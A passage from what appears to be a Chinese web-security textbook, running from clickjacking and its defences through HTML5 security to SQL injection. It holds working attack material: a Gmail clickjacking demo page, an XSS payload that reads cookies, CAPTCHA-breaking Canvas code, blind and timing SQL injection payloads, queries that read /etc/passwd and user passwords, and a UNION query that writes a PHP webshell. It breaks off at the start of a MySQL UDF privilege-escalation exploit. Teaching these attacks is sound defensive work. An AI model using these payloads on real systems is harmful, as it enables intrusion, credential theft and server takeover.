\"0\"; iframe_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha(opacity=\" +(this.checked ? \"50\": \"0\") + \");\" } function showHide_text() { var text_1 = document.getElementById(\"target\"); text_1.style.opacity = this.checked ? \"0.5\": \"0\"; text_1.style.filter = \"progid:DXImageTransform.Microsoft.Alpha(opacity=\" +(this.checked ? \"50\": \"0\") + \");\" } function showHide_ball() { var hide_ball = document.getElementById(\"hide_ball\"); hide_ball.style.opacity = \"0\"; hide_ball.style.filter = \"alpha(opacity=0)\"; } function showHide_ball_1() { var hide_ball_1 = document.getElementById(\"hide_ball_1\"); hide_ball_1.style.opacity = \"1\"; hide_ball_1.style.filter = \"alpha(opacity=100)\"; } function reload_text() {document.getElementById(\"target\").value = ''; } </script> </head> <body onload=\"Init();\"> <center> <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id=\"hide_ball\" src=ball.png class=\"ball\"> <div id=\"source\"> <iframe id=\"iframe_1\" src=\"https://mail.google.com/mail/ig/mailmax\"class=\"iframe_hidden\" scrolling=\"no\"> </iframe> </div> <img src=Dolphin.jpg class=\"Dolphin\"> <div> <img id=\"hide_ball_1\" src=ball.png class=\"ball_1\"> </div> <div> <textarea id=\"target\" class=\"text_area_hidden\"> </textarea> </div> <div id=\"info\" style=\"position:absolute;background-color:#e0e0e0;font-weight:bold;top:600px;\"> </div> <center> Note: Clicking \"ctrl + a\" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class=\"center\"> <center> <center> <input id=\"showHide_frame\" type=\"checkbox\"onclick=\"showHide_frame.call(this);\" /> <label for=\"showHide_frame\"> Show the jacked I--Frame </label> | <input id=\"showHide_text\" type=\"checkbox\" onclick=\"showHide_text.call(this);\" /> <label for=\"showHide_text\"> Show the jacked Textarea </label> | <input type=button value=\"Replay\" onclick=\"location.reload();reload_text();\"> </center> <br><br> <b> Design by <a target=\"_blank\" href=\"http://hi.baidu.com/xisigr\"> xisigr </a> </b> </center> </div> </body></html>这是一个非常精彩的案例。\n5.5 ClickJacking 3.0：触屏劫持到了2010年9月，智能手机上的“触屏劫持”攻击被斯坦福的安全研究者公布，这意味着ClickJacking的攻击方式更进一步。安全研究者将这种触屏劫持称为TapJacking。以苹果公司的iPhone为代表，智能手机为人们提供了更先进的操控方式：触屏。从手机OS的角度来看，触屏实际上就是一个事件，手机OS捕捉这些事件，并执行相应的动作。比如一次触屏操作，可能会对应以下几个事件： touchstart，手指触摸屏幕时发生；touchend，手指离开屏幕时发生；touchmove，手指滑动时发生；touchcancel，系统可取消touch事件。通过将一个不可见的iframe覆盖到当前网页上，可以劫持用户的触屏操作。触屏劫持原理示电图而手机上的屏幕范围有限，手机浏览器为了节约空间，甚至隐藏了地址栏，因此手机上的视觉欺骗可能会变得更加容易实施。比如下面这个例子：手机屏幕的视觉欺骗左边的图片，最上方显示了浏览器地址栏，同时攻击者在页面中画出了一个假的地址栏；中间的图片，真实的浏览器地址栏已经自动隐藏了，此时页面中只剩下假的地址栏；右边的图片，是浏览器地址栏被正常隐藏的情况。这种针对视觉效果的攻击可以被利用进行钓鱼和欺诈。2010年12月，研究者发现在Android系统中实施TapJacking甚至可以修改系统的安全设置，并同时给出了演示。在未来，随着移动设备中浏览器功能的丰富，也许我们会看到更多TapJacking的攻击方式。\n5.6 防御ClickJackingClickJacking是一种视觉上的欺骗，那么如何防御它呢？针对传统的ClickJacking，一般是通过禁止跨域的iframe来防范。5.6.1 frame busting通常可以写一段JavaScript代码，以禁止iframe的嵌套。这种方法叫frame busting。比如下面这段代码：if ( top.location != location ) { top.location = self.location;}常见的frame busting有以下这些方式：if (top != self)if (top.location != self.location)if (top.location != location)if (parent.frames.length > 0)if (window != top)if (window.top !== window.self)if (window.self != window.top)if (parent && parent != window)if (parent && parent.frames && parent.frames.length>0)if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))top.location = self.locationtop.location.href = document.location.hreftop.location.href = self.location.hreftop.location.replace(self.location)top.location.href = window.location.hreftop.location.replace(document.location)top.location.href = window.location.hreftop.location.href = \"URL\"document.write('')top.location = locationtop.location.replace(document.location)top.location.replace('URL')top.location.href = document.locationtop.location.replace(window.location.href)top.location.href = location.hrefself.parent.location = document.locationparent.location.href = self.document.locationparent.location = self.location ;}那么通过以下方式即可绕过上面的保护代码：Attacker top frame:<iframe src=\"attacker2 .html\">Attacker sub-frame:<iframe src=\"http://www.victim.com\">此外，像HTML 5中iframe的sandbox属性、IE中iframe的security属性等，都可以限制iframe页面中的JavaScript脚本执行，从而可以使得frame busting失效。斯坦福的Gustav Rydstedt等人总结了一篇关于“攻击frame busting”的paper：“Busting framebusting: a study of clickjacking vulnerabilities atpopular sites”，详细讲述了各种绕过framebusting的方法。5.6.2 X-Frame-Options因为frame busting存在被绕过的可能，所以我们需要寻找其他更好的解决方案。一个比较好的方案是使用一个HTTP头——X-Frame-Options。X-Frame-Options可以说是为了解决Click-Jacking而生的，目前有以下浏览器开始支持X-Frame-Options： ?IE 8+ ?Opera 10.50+ ?Safari 4+ ?Chrome 4.1.249.1042+ ?Firefox 3.6.9 (or earlier with NoScript)它有三个可选的值： DENYSAMEORIGINALLOW-FROM origin当值为DENY时，浏览器会拒绝当前页面加载任何frame页面；若值为SAMEORIGIN，则frame页面的地址只能为同源域名下的页面；若值为AL-LOW-FROM，则可以定义允许frame加载的页面地址。除了X-Frame-Options之外，Firefox的“Content Security Policy”以及Firefox的No-Script扩展也能够有效防御ClickJacking，这些方案为我们提供了更多的选择。\n5.7 小结本章讲述了一种新客户端攻击方式：Click-Jacking。ClickJacking相对于XSS与CSRF来说，因为需要诱使用户与页面产生交互行为，因此实施攻击的成本更高，在网络犯罪中比较少见。但Click-Jacking在未来仍然有可能被攻击者利用在钓鱼、欺诈和广告作弊等方面，不可不察。\n第6章 HTML 5安全HTML 5是W3C制定的新一代HTML语言的标准。这个标准现在还在不断地修改，但是主流的浏览器厂商都已经开始逐渐支持这些新的功能。离HTML 5真正的普及还有很长一段路要走，但是由于浏览器已经开始支持部分功能，所以HTML 5的影响已经显现，可以预见到，在移动互联网领域，HTML 5会有着广阔的发展前景。HTML 5带来了新的功能，也带来了新的安全挑战。本章将介绍HTML 5的一些新功能及其可能带来的安全问题。有些功能非HTML 5标准，但也会在本章中一起进行介绍。\n6.1 HTML 5新标签6.1.1 新标签的XSSHTML 5定义了很多新标签、新事件，这有可能带来新的XSS攻击。一些XSS Filter如果建立了一个黑名单的话，则可能就不会覆盖到HTML 5新增的标签和功能，从而避免发生XSS。笔者曾经在百度空间做过一次测试，使用的是HTML 5中新增的<video>标签，这个标签可以在网页中远程加载一段视频。与<video>标签类似的还有<audio>标签，用于远程加载一段音频。测试如下：<video src=\"http://tinyvid.tv/file/29d6g90a204i1.ogg\"onloadedmetadata=\"alert(document.cookie);\" ondurationchanged=\"alert(/XSS2/);\"ontimeupdate=\"alert(/XSS1/);\" tabindex=\"0\"></video>成功地绕过了百度空间的XSS Filter：百度空间的XSSHTML 5中新增的一些标签和属性，使得XSS等Web攻击产生了新的变化，为了总结这些变化，有安全研究者建立了一个HTML5 Security Cheat-sheet项目，如下所示：此项目对研究HTML 5安全有着重要作用。6.1.2 iframe的sandbox<iframe>标签一直以来都为人所诟病。挂马、XSS、ClickJacking等攻击中都能看到它不光彩的身影。浏览器厂商也一直在想办法限制iframe执行脚本的权限，比如跨窗口访问会有限制，以及IE中的<iframe>标签支持security属性限制脚本的执行，都在向着这一目标努力。在HTML 5中，专门为iframe定义了一个新的属性，叫sandbox。使用sandbox这一个属性后，<iframe>标签加载的内容将被视为一个独立的“源”（源的概念请参考“同源策略”），其中的脚本将被禁止执行，表单被禁止提交，插件被禁止加载，指向其他浏览对象的链接也会被禁止。sandbox属性可以通过参数来支持更精确的控制。有以下几个值可以选择： allow-same-origin：允许同源访问；allow-top-navigation：允许访问顶层窗口；allow-forms：允许提交表单；allow-scripts：允许执行脚本。可有的行为即便是设置了allow-scripts，也是不允许的，比如“弹出窗口”。一个iframe的实例如下：<iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://maps.example.com/embedded.html\"></iframe>毫无疑问，iframe的sandbox属性将极大地增强应用使用iframe的安全性。6.1.3 Link Types: noreferrer在HTML 5中为<a>标签和<area>标签定义了一个新的Link Types：noreferrer。顾名思义，标签指定了noreferrer后，浏览器在请求该标签指定的地址时将不再发送Referer。<a href=\"xxx\" rel=\"noreferrer\" >test</a>这种设计是出于保护敏感信息和隐私的考虑。因为通过Referer，可能会泄露一些敏感信息。这个标签需要开发者手动添加到页面的标签中，对于有需求的标签可以选择使用noreferrer。6.1.4 Canvas的妙用Canvas可以说是HTML 5中最大的创新之一。不同于<img>标签只是远程加载一个图片，<canvas>标签让JavaScript可以在页面中直接操作图片对象，也可以直接操作像素，构造出图片区域。Canvas的出现极大地挑战了传统富客户端插件的地位，开发者甚至可以用Canvas在浏览器上写一个小游戏。下面是一个简单的Canvas的用例。<!DOCTYPE HTML><html><body><canvas id=\"myCanvas\" width=\"200\" height=\"100\" style=\"border:1px solid #c3c3c3;\">Your browser does not support the canvas element.</canvas><script type=\"text/javascript\">var c=document.getElementById(\"myCanvas\");var cxt=c.getContext(\"2d\");cxt.fillStyle=\"#FF0000\";cxt.fillRect(0,0,150,75);</script></body></html>在支持Canvas的浏览器上，将描绘出一个图片。在支持Canvas的浏览器上描绘的图片在以下浏览器中，开始支持<canvas>标签。 IE 7.0+Firefox 3.0+Safari 3.0+Chrome 3.0+Opera 10.0+iPhone 1.0+Android 1.0+Dive Into HTML5很好地介绍了Canvas及其他HTML 5的特性。Canvas提供的强大功能，甚至可以用来破解验证码。Shaun Friedle写了一个GreaseMonkey的脚本，通过JavaScript操作Canvas中的每个像素点，成功地自动化识别了Megaupload提供的验证码。Megaupload验证码其大致过程如下。首先，将图片导入Canvas，并进行转换。function convert_grey(image_data){ for (var x = 0; x < image_data.width; x++){ for (var y = 0; y < image_data.height; y++){ var i = x*4+y*4*image_data.width; var luma = Math.floor(image_data.data[i] * 299/1000 + image_data.data[i+1] * 587/1000 + image_data.data[i+2] * 114/1000); image_data.data[i] = luma; image_data.data[i+1] = luma; image_data.data[i+2] = luma; image_data.data[i+3] = 255; } }}分割不同字符，此处很简单，因为三个字符都使用了不同颜色。filter(image_data[0], 105);filter(image_data[1], 120);filter(image_data[2], 135);function filter(image_data, colour){ for (var x = 0; x < image_data.width; x++){ for (var y = 0; y < image_data.height; y++){ var i = x*4+y*4*image_data.width; // Turn all the pixels of the certain colour to white if (image_data.data[i] == colour) { image_data.data[i] = 255; image_data.data[i+1] = 255; image_data.data[i+2] = 255; // Everything else to black } else { image_data.data[i] = 0; image_data.data[i+1] = 0; image_data.data[i+2] = 0; } } }}将字符从背景中分离出来，判断背景颜色即可。var i = x*4+y*4*image_data.width;var above = x*4+(y-1)*4*image_data.width;var below = x*4+(y+1)*4*image_data.width;if (image_data.data[i] == 255 && image_data.data[above] == 0 && image_data.data[below] == 0) { image_data.data[i] = 0; image_data.data[i+1] = 0; image_data.data[i+2] = 0;}再将结果重新绘制。cropped_canvas.getContext(\"2d\").fillRect(0, 0, 20, 25);var edges = find_edges(image_data[i]);cropped_canvas.getContext(\"2d\").drawImage(canvas, edges[0], edges[1], edges[2]-edges[0], edges[3]-edges[1], 0, 0, edges[2]-edges[0], edges[3]-edges[1]);image_data[i] = cropped_canvas.getContext(\"2d\").getImageData(0, 0, cropped_canvas.width, cropped_canvas.height);完整的实现可以参考前文注释中提到的User-Scripts代码。在此基础上，作者甚至能够破解一些更为复杂的验证码，比如：破解验证码通过Canvas自动破解验证码，最大的好处是可以在浏览器环境中实现在线破解，大大降低了攻击的门槛。HTML 5使得过去难以做到的事情，变为可能。\n6.2 其他安全问题6.2.1 Cross-Origin Resource Sharing浏览器实现的同源策略（Same Origin Policy）限制了脚本的跨域请求。但互联网的发展趋势是越来越开放的，因此跨域访问的需求也变得越来越迫切。同源策略给Web开发者带来了很多困扰，他们不得不想方设法地实现一些“合法”的跨域技术，由此诞生了jsonp、iframe跨域等技巧。W3C委员会决定制定一个新的标准来解决日益迫切的跨域访问问题。这个新的标准叙述如下。假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求，请求的地址为：http://www.b.com/test.php。<script> var client = new XMLHttpRequest(); client.open(\"GET\", \"http://www.b.com/test.php\"); client.onreadystatechange = function() { } client.send(null);</script>如果是在IE 8中，则需要使用XDomainRe-quest来实现跨域请求。var request = new XDomainRequest();request.open(\"GET\", xdomainurl);request.send();如果服务器www.b.com返回一个HTTPHeader： www.b.comAccess-Control-Allow-Origin: http://www.a.com代码如下：<?phpheader(\"Access-Control-Allow-Origin: *\"); ?>Cross Domain Request Test!那么这个来自http://www.a.com/test.html的跨域请求就会被通过。在这个过程中，http://www.a.com/test.html发起的请求还必须带上一个Origin Header：Origin: http://www.a.com跨域请求的访问过程在Firefox上，可以抓包分析这个过程。GET http://www.b.com/test.php HTTP/1.1 Host: www.b.comUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1b2) Gecko/20081201Firefox/3.1b2 Paros/3.2.13Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.5Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: http://www.a.com/test.htmlOrigin: http://www.a.com Cache-Control: max-age=0HTTP/1.1 200 OKDate: Thu, 15 Jan 2009 06:28:54 GMTServer: Apache/2.0.63 (Win32) PHP/5.2.6X-Powered-By: PHP/5.2.6Access-Control-Allow-Origin: * Content-Length: 28Content-Type: text/htmlCross Domain Request Test!Origin Header用于标记HTTP发起的“源”，服务器端通过识别浏览器自动带上的这个OriginHeader，来判断浏览器的请求是否来自一个合法的“源”。Origin Header可以用于防范CSRF，它不像Referer那么容易被伪造或清空。在上面的例子中，服务器端返回：Access-Control-Allow-Origin: *从而允许客户端的跨域请求通过。在这里使用了通配符“”，这是极其危险的，它将允许来自任意域的跨域请求访问成功。这就好像Flash策略中的allow-access-from: 一样，等于没有做任何安全限制。对于这个跨域访问的标准，还有许多HTTPHeader可以用于进行更精确的控制：4 Syntax4.1 Access-Control-Allow-Origin HTTP Response Header4.2 Access-Control-Max-Age HTTP Response Header4.3 Access-Control-Allow-Credentials HTTP Response Header4.4 Access-Control-Allow-Methods HTTP Response Header4.5 Access-Control-Allow-Headers HTTP Response Header4.6 Origin HTTP Request Header4.7 Access-Control-Request-Method HTTP Request Header4.8 Access-Control-Request-Headers HTTP Request Header有兴趣的读者可以自行参阅W3C的标准。6.2.2 postMessage——跨窗口传递消息在“跨站脚本攻击”一章中，曾经提到利用window.name来跨窗口、跨域传递信息。实际上，window这个对象几乎是不受同源策略限制的，很多脚本攻击都巧妙地利用了window对象的这一特点。在HTML 5中，为了丰富Web开发者的能力，制定了一个新的API：postMessage。在Firefox 3、IE 8、Opera 9等浏览器中，都已经开始支持这个API。postMessage允许每一个window（包括当前窗口、弹出窗口、iframes等）对象往其他的窗口发送文本消息，从而实现跨窗口的消息传递。这个功能是不受同源策略限制的。John Resig在Firefox 3下写了一个示例以演示postMessage的用法。发送窗口：<iframe src=\"http://dev.jquery.com/~john/message/\" id=\"iframe\"></iframe><form id=\"form\"> <input type=\"text\" id=\"msg\" value=\"Message to send\"/> <input type=\"submit\"/></form><script>window.onload = function(){ var win = document.getElementById(\"iframe\").contentWindow;document.getElementById(\"form\").onsubmit = function(e){win.postMessage( document.getElementById(\"msg\").value ); e.preventDefault(); };};</script>接收窗口：<b>This iframe is located on dev.jquery.com</b><div id=\"test\">Send me a message!</div><script>document.addEventListener(\"message\", function(e){document.getElementById(\"test\").textContent = e.domain + \" said: \" + e.data;}, false);</script>在这个例子中，发送窗口负责发送消息；而在接收窗口中，需要绑定一个message事件，监听其他窗口发来的消息。这是两个窗口之间的一个“约定”，如果没有监听这个事件，则无法接收到消息。在使用postMessage()时，有两个安全问题需要注意。（1）在必要时，可以在接收窗口验证 Domain，甚至验证URL，以防止来自非法页面的消息。这实际上是在代码中实现一次同源策略的验证过程。 （2）在本例中，接收的消息写入textContent，但在实际应用中，如果将消息写入innerHTML，甚至直接写入script中，则可能会导致DOMbased XSS的产生。根据“Secure By Default”原则，在接收窗口不应该信任接收到的消息，而需要对消息进行安全检查。使用postMessage，也会使XSS Payload变得更加的灵活。Gareth Heyes曾经实现过一个JavaScript运行环境的sandbox，其原理是创建一个iframe，将JavaScript限制于其中执行。但笔者经过研究发现，利用postMessage() 给父窗口发送消息，可以突破此sandbox。类似的问题可能还会存在于其他应用中。6.2.3 Web Storage在Web Storage出现之前，Gmail的离线浏览功能是通过Google Gears实现的。但随着GoogleGears的夭折，Gmail转投Web Storage的怀抱。目前Google众多的产品线比如Gmail、GoogleDocs等所使用的离线浏览功能，都使用了WebStorage。为什么要有Web Storage呢？过去在浏览器里能够存储信息的方法有以下几种： CookieFlash Shared ObjectIE UserData其中，Cookie主要用于保存登录凭证和少量信息，其最大长度的限制决定了不可能在Cookie中存储太多信息。而Flash Shared Object和IE User-Data则是Adobe与微软自己的功能，并未成为一个通用化的标准。因此W3C委员会希望能在客户端有一个较为强大和方便的本地存储功能，这就是Web Storage。Web Storage分为Session Storage 和 LocalStorage。Session Storage关闭浏览器就会失效，而Local Storage则会一直存在。Web Storage就像一个非关系型数据库，由Key-Value对组成，可以通过JavaScript对其进行操作。目前Firefox 3和IE 8都实现了Web Storage。使用方法如下： 设置一个值：window.sessionStor-age.setItem(key, value);读取一个值：window.sessionStor-age.getItem(key);此外，Firefox还单独实现了一个globalStor-age，它是基于SQLite实现的。window.globalStorage.namedItem(domain).setItem(key, value);下面这个例子展示了Web Storage的使用。<div id=\"sessionStorage_show\"> sessionStorage Value:</div><br><div id=\"localStorage_show\"> localStorage Value:</div><input id=\"set\" type=\"button\" value=\"check\" onclick=\"set();\"><script>function set(){ window.sessionStorage.setItem(\"test\", \"this is sessionStorage\"); if (window.globalStorage){window.globalStorage.namedItem(\"a.com\").setItem(\"test\", \"this is LocalStorage\"); }else{ window.localStorage.setItem(\"test\", \"this is LocalStorage\");}document.getElementById(\"sessionStorage_show\").innerHTML +=window.sessionStorage.getItem(\"test\"); if (window.globalStorage){document.getElementById(\"localStorage_show\").innerHTML +=window.globalStorage.namedItem(\"a.com\").getItem(\"test\"); }else{document.getElementById(\"localStorage_show\").innerHTML +=window.localStorage.getItem(\"test\");}}set();</script>运行结果如下：测试页面Web Storage也受到同源策略的约束，每个域所拥有的信息只会保存在自己的域下，如下例：<body><script>if (document.domain == \"www.a.com\"){ window.localStorage.setItem(\"test\",123);}alert(window.localStorage.getItem(\"test\"));</script></body>运行结果如下读取localStorage当域变化时，结果如下：跨域时无法读取localStorageWeb Storage让Web开发更加的灵活多变，它的强大功能也为XSS Payload大开方便之门。攻击者有可能将恶意代码保存在Web Storage中，从而实现跨页面攻击。当Web Storage中保存有敏感信息时，也可能会成为攻击的目标，而XSS攻击可以完成这一过程。可以预见，Web Storage会被越来越多的开发者所接受，与此同时，也将带来越来越多的安全挑战。\n6.3 小结HTML 5是互联网未来的大势所趋。虽然目前距离全面普及还有很长的路要走，但随着浏览器开始支持越来越多的HTML 5功能，攻击面也随之产生了新的变化。攻击者有可能利用HTML 5中的一些特性，来绕过一些未及时更新的防御方案。要对抗这些“新型”的攻击，就必须了解HTML 5的方方面面。对于HTML 5来说，在移动互联网上的普及进程也许会更快，因此未来HTML 5攻防的主战场，很可能会发生在移动互联网上。\n第三篇 服务端应用安全第7章 注入攻击注入攻击是Web安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过，XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中，提出了一个安全设计原则——“数据与代码分离”原则，它可以说是专门为了解决注入攻击而生的。注入攻击的本质，是把用户输入的数据当做代码执行。这里有两个关键条件，第一个是用户能够控制输入；第二个是原本程序要执行的代码，拼接了用户输入的数据。在本章中，我们会分别探讨几种常见的注入攻击，以及防御办法。\n7.1 SQL注入在今天，SQL注入对于开发者来说，应该是耳熟能详了。而SQL注入第一次为公众所知，是在1998年的著名黑客杂志《Phrack》第54期上，一位名叫rfp的黑客发表了一篇题为“NT Web Tech-nology Vulnerabilities”的文章。在文章中，第一次向公众介绍了这种新型的攻击技巧。下面是一个SQL注入的典型例子。var Shipcity;ShipCity = Request.form (\"ShipCity\");var sql = \"select * from OrdersTable where ShipCity = '\" + ShipCity + \"'\";变量ShipCity的值由用户提交，在正常情况下，假如用户输入“Beijing”，那么SQL语句会执行：SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing'但假如用户输入一段有语义的SQL语句，比如：Beijing'; drop table OrdersTable--那么，SQL语句在实际执行时就会如下：SELECT * FROM OrdersTable WHERE ShipCity = 'Beijing';drop table OrdersTable--'我们看到，原本正常执行的查询语句，现在变成了查询完后，再执行一个drop表的操作，而这个操作，是用户构造了恶意数据的结果。回过头来看看注入攻击的两个条件：（1）用户能够控制数据的输入——在这里，用户能够控制变量ShipCity。 （2）原本要执行的代码，拼接了用户的输入：var sql = \"select * from OrdersTable where ShipCity = '\" + ShipCity + \"'\";这个“拼接”的过程很重要，正是这个拼接的过程导致了代码的注入。在SQL注入的过程中，如果网站的Web服务器开启了错误回显，则会为攻击者提供极大的便利，比如攻击者在参数中输入一个单引号“'”，引起执行查询语句的语法错误，服务器直接返回了错误信息：Microsoft JET Database Engine 错误 '80040e14'字符串的语法错误 在查询表达式 'ID=49'' 中。/showdetail.asp，行8从错误信息中可以知道，服务器用的是Access作为数据库，查询语句的伪代码极有可能是：select xxx from table_X where id = $id错误回显披露了敏感信息，对于攻击者来说，构造SQL注入的语句就可以更加得心应手了。7.1.1 盲注（Blind Injection）但很多时候，Web服务器关闭了错误回显，这时就没有办法成功实施SQL注入攻击了吗？攻击者为了应对这种情况，研究出了“盲注”（Blind In-jection）的技巧。所谓“盲注”，就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显，对于攻击者来说缺少了非常重要的“调试信息”，所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。最常见的盲注验证方法是，构造简单的条件语句，根据返回页面是否发生变化，来判断SQL语句是否得到执行。比如，一个应用的URL如下：http://newspaper.com/items.php?id=2执行的SQL语句为：SELECT title, description, body FROM items WHERE ID = 2如果攻击者构造如下的条件语句：http://newspaper.com/items.php?id=2 and 1=2实际执行的SQL语句就会变成：SELECT title, description, body FROM items WHERE ID = 2 and 1=2因为“and 1=2”永远是一个假命题，所以这条SQL语句的“and”条件永远无法成立。对于Web应用来说，也不会将结果返回给用户，攻击者看到的页面结果将为空或者是一个出错页面。为了进一步确认注入是否存在，攻击者还必须再次验证这个过程。因为一些处理逻辑或安全功能，在攻击者构造异常请求时，也可能会导致页面返回不正常。攻击者继续构造如下请求：http://newspaper.com/items.php?id=2 and 1=1当攻击者构造条件“and 1=1”时，如果页面正常返回了，则说明SQL语句的“and”成功执行，那么就可以判断“id”参数存在SQL注入漏洞了。在这个攻击过程中，服务器虽然关闭了错误回显，但是攻击者通过简单的条件判断，再对比页面返回结果的差异，就可以判断出SQL注入漏洞是否存在。这就是盲注的工作原理。如下例：攻击者先输入条件“and 1=1”，服务器返回正常页面，这是因为“and”语句成立。当注入语句的条件为真时返回正常页面再输入条件“and 1=2”，SQL语句执行后，因为1=2永远不可能为真，因此SQL语句无法返回查询到的数据。当注入语句的条件为假时没有查询到具体内容由此可立即判断漏洞存在。7.1.2 Timing Attack2011年3月27日，一个名叫TinKode的黑客在著名的安全邮件列表Full Disclosure上公布了一些他入侵mysql.com所获得的细节。这次入侵事件，就是由一个SQL注入漏洞引起的。MySQL是当今世界上最流行的数据库软件之一。据黑客描述，这个漏洞出在下面这个页面：mysql.com存在漏洞的页面通过改变参数id的值，服务器将返回不同的客户信息。这个参数存在一个非常隐蔽的“盲注”漏洞，通过简单的条件语句比如“and 1=2”是无法看出异常的。在这里黑客用了“盲注”的一个技巧：Timing Attack，来判断漏洞的存在。在MySQL中，有一个BENCHMARK()函数，它是用于测试函数性能的。它有两个参数：BENCHMARK(count,expr)函数执行的结果，是将表达式expr执行count次。比如：mysql> SELECT BENCHMARK(1000000,ENCODE('hello','goodbye'));+----------------------------------------------+| BENCHMARK(1000000,ENCODE('hello','goodbye')) |+----------------------------------------------+| 0 |+----------------------------------------------+1 row in set (4.74 sec)就将ENCODE('hello','goodbye')执行了1000000次，共用时4.74秒。因此，利用BENCHMARK()函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长；通过时间长短的变化，可以判断出注入语句是否执行成功。这是一种边信道攻击，这个技巧在盲注中被称为Tim-ing Attack。攻击者接下来要实施的就是利用Timing At-tack完成这次攻击，这是一个需要等待的过程。比如构造的攻击参数id值为：1170 UNION SELECT IF(SUBSTRING(current,1,1) =CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (Select Database()as current) as tbl;这段Payload判断库名的第一个字母是否为CHAR(119)，即小写的w。如果判断结果为真，则会通过BENCHMARK()函数造成较长延时；如果不为真，则该语句将很快执行完。攻击者遍历所有字母，直到将整个数据库名全部验证完成为止。与此类似，还可通过以下函数获取到许多有用信息：database() - the name of the database currently connected to.system_user() - the system user for the database.current_user() - the current user who is logged in to the database.last_insert_id() - the transaction ID of the last insert operation on the database.如果当前数据库用户（current_user）具有写权限，那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中，攻击者就有可能下载这些文件：1170 Union All SELECT table_name, table_type, engine FROM information_schema.tables WHEREtable_schema = 'mysql’ ORDER BY table_name DESC INTO OUTFILE'/path/location/on/server/www/schema.txt'此外，通过Dump文件的方法，还可以写入一个webshell：1170 UNION SELECT \"<? system($_REQUEST['cmd']); ?>\",2,3,4 INTO OUTFILE\"/var/www/html/temp/c.php\" --Timing Attack是盲注的一种高级技巧。在不同的数据库中，都有着类似于BENCHMARK()的函数，可以被Timing Attack所利用。更多类似的函数，可以查阅每个数据库软件的手册。\n7.2 数据库攻击技巧找到SQL注入漏洞，仅仅是一个开始。要实施一次完整的攻击，还有许多事情需要做。在本节中，将介绍一些具有代表性的SQL注入技巧。了解这些技巧，有助于更深入地理解SQL注入的攻击原理。SQL注入是基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数，因此针对不同的数据库，SQL注入的技巧也有所不同。7.2.1 常见的攻击技巧SQL注入可以猜解出数据库的对应版本，比如下面这段Payload，如果MySQL的版本是4，则会返回TRUE：http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4下面这段Payload，则是利用union select来分别确认表名admin是否存在，列名passwd是否存在：id=5 union all select 1,2,3 from adminid=5 union all select 1,2,passwd from admin进一步，想要猜解出username和password具体的值，可以通过判断字符的范围，一步步读出来：id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit0,1),1,1))>64 /*ret true)*/id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit0,1),1,1))>96 /*ret true*/id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit0,1),1,1))>100 /*ret false*/id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit0,1),1,1))>97 /*ret false*/...id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit0,1),2,1))>64 /*ret true*/...这个过程非常的烦琐，所以非常有必要使用一个自动化工具来帮助完成整个过程。sqlmap.py就是一个非常好的自动化注入工具。sqlmap.py的攻击过程在注入攻击的过程中，常常会用到一些读写文件的技巧。比如在MySQL中，就可以通过LOAD_FILE()读取系统文件，并通过INTODUMPFILE写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。… union select 1,1, LOAD_FILE('/etc/passwd'),1,1;如果要将文件读出后，再返回结果给攻击者，则可以使用下面这个技巧：CREATE TABLE potatoes(line BLOB);UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;这需要当前数据库用户有创建表的权限。首先通过LOAD_FILE()将系统文件读出，再通过INTODUMPFILE将该文件写入系统中，然后通过LOAD DATA INFILE将文件导入创建的表中，最后就可以通过一般的注入技巧直接操作表数据了。除了可以使用INTO DUMPFILE外，还可以使用INTO OUTFILE，两者的区别是DUMPFILE适用于二进制文件，它会将目标文件写入同一行内；而OUTFILE则更适用于文本文件。写入文件的技巧，经常被用于导出一个Web-shell，为攻击者的进一步攻击做铺垫。因此在设计数据库安全方案时，可以禁止普通数据库用户具备操作文件的权限。7.2.2 命令执行在MySQL中，除了可以通过导出webshell间接地执行命令外，还可以利用“用户自定义函数”的技巧，即UDF（User-Defined Functions）来执行命令。在流行的数据库中，一般都支持从本地文件系统中导入一个共享库文件作为自定义函数。使用如下语法可以创建UDF：CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library在MySQL 4的服务器上，Marco Ivaldi公布了如下的代码，可以通过UDF执行系统命令。尤其是当运行mysql进程的用户为root时，将直接获得root权限。/* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * 